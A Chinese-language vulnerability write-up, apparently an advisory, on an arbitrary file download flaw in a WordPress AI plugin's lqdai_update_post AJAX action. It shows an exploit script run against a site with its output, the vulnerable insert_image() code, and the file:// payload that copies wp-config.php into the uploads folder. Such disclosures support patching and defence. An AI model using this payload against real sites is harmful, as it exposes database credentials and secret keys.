WordPress 的 AI Engine for WordPress 插件在其图片插入功能中存在一个漏洞,该漏洞允许任何具有文章编辑能力的已认证用户(贡献者、作者、编辑、管理员)从服务器下载任意文件。该漏洞源于 lqdai_update_post AJAX 端点缺乏适当的能力检查,以及 insert_image() 函数使用 file_get_contents() 处理用户控制的 URL 时没有进行协议验证,从而允许通过 file:// 协议下载任意文件。
wp-config.php 文件。 python3 ./exploit.py http://techcorp.cc contributor password
[+] Target: http://techcorp.cc
[+] Username: contributor
[+] Nonce obtained: 5dc61a0166
[+] Post created with ID: 148
[+] File written to uploads directory
[+] Attempting to retrieve file from: http://techcorp.cc/wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
[+] File retrieved successfully!
[+] wp-config.php contents:
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
...
...
...
lqdai_update_post AJAX 操作调用了位于 /wp-content/plugins/liquid-chatgpt/liquid-chatgpt.php 文件中第 315 行的 update_post() 函数,该函数缺乏适当的能力检查,允许任何已认证用户修改其可以编辑的文章:
function update_post() {
if ( empty( $posts = $_POST['posts'] ) ) {
wp_send_json( [
'error' => true,
'message' => __( 'Data is null!', 'lqdai' ),
] );
}
$args = [
'ID' => $posts['post_id'],
'post_title' => $posts['title'],
'post_content' => $posts['content'],
'post_status' => 'draft',
];
$update_post = wp_update_post( $args );
if ( is_wp_error( $update_post ) ) {
wp_send_json( [
'error' => true,
'message' => $update_post->get_error_messages()
] );
} else {
wp_set_post_tags( $posts['post_id'], $posts['tags'], false );
if ( !empty( $posts['image'] ) ) {
$this->insert_image( $posts['post_id'], $posts['image'] ); // <-- 任意文件下载漏洞
}
}
}
位于第 419 行的 insert_image() 函数使用了 file_get_contents() 处理用户控制的 URL,且没有进行协议验证,从而允许任意文件下载:
function insert_image( $post_id, $image_url ) {
// 获取上传目录路径
$upload_dir = wp_upload_dir();
$image_data = file_get_contents($image_url);
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// 将图片保存到上传目录
if ( wp_mkdir_p($upload_dir['path']) ) {
$file = $upload_dir['path'] . '/' . $filename;
} else {
$file = $upload_dir['basedir'] . '/' . $filename;
}
file_put_contents($file, $image_data); // <-- 写入操作
// 获取图片的附件 ID
$wp_filetype = wp_check_filetype($filename, null );
$attachment = array(
'post_mime_type' => $wp_filetype['type'],
'post_title' => sanitize_file_name(str_replace('.jpg','', $filename)),
'post_content' => '',
'post_status' => 'inherit'
);
$attachment_id = wp_insert_attachment( $attachment, $file, $post_id );
require_once(ABSPATH . 'wp-admin/includes/image.php');
$attachment_data = wp_generate_attachment_metadata( $attachment_id, $file );
wp_update_attachment_metadata( $attachment_id, $attachment_data );
// 将附件 ID 设置为文章的特色图片
set_post_thumbnail($post_id, $attachment_id);
}
漏洞路径构造允许通过 file:// 协议读取本地文件:
// 用户提供:'file:///var/www/html/wp-config.php'
$image_url = 'file:///var/www/html/wp-config.php';
// file_get_contents() 读取文件(在 PHP 中默认有效)
$image_data = file_get_contents($image_url); // 读取 /var/www/html/wp-config.php
// 从路径构造文件名
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// parse_url() 返回 '/var/www/html/wp-config.php'
// sanitize_file_name() 移除斜杠:'varwwwhtmlwp-config.php'
// 追加 '.jpg':'varwwwhtmlwp-config.php.jpg'
// 文件写入上传目录
$file = $upload_dir['path'] . '/' . $filename;
// 结果:/wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
file_put_contents($file, $image_data); // 写入 wp-config.php 内容
lqdai_update_post 操作的 /wp-admin/admin-ajax.php 请求。posts[image] 参数中包含 file:// 协议 URL。posts[image]=file:///var/www/html/wp-config.php 读取 WordPress 配置文件。/wp-content/uploads/YYYY/MM/varwwwhtmlwp-config.php.jpg。